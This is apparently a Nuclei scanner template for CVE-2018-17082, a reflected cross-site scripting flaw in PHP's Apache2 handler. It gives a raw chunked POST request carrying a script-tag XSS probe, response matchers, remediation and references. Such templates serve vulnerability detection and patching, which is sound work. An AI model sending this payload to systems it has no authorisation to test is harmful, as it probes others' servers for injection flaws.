Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.
PoC代码[已公开]
id: CVE-2018-17082
info:
name: Apache2 - Transfer-Encoding Chunked XSS
author: DhiyaneshDK
severity: medium
description: |
Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.
impact: |
Attackers can execute malicious scripts in the context of the affected server, leading to potential session hijacking or data theft.
remediation: |
Update to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions.
reference:
- https://bugs.php.net/bug.php?id=76582
- https://github.com/php/php-src/commit/23b057742e3cf199612fa8050ae86cae675e214e
- https://nvd.nist.gov/vuln/detail/CVE-2018-17082
- https://security.gentoo.org/glsa/201812-01
- https://github.com/ockeghem/web-sec-study/blob/master/why-CVE-2018-17082-is-not-XSS/README.md
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-17082
cwe-id: CWE-79
epss-score: 0.08033
epss-percentile: 0.91888
cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
metadata:
verified: false
max-request: 1
vendor: php
product: php
tags: cve,cve2018,php,apache,xss,chunked
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Transfer-Encoding: chunked
<script>alert(document.domain)</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Bad Request<script>alert(document.domain)</script>"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 400
# digest: 4b0a00483046022100e9bf476209e59c59b01647b4a2d31a62c6be64e9bc3b897c112445d6e04d3c5d0221009c9037c5950edae12c8644394b740af26255e75dc482da9e356df667d23d7ed1:922c64590222798bb761d5b6d8e72950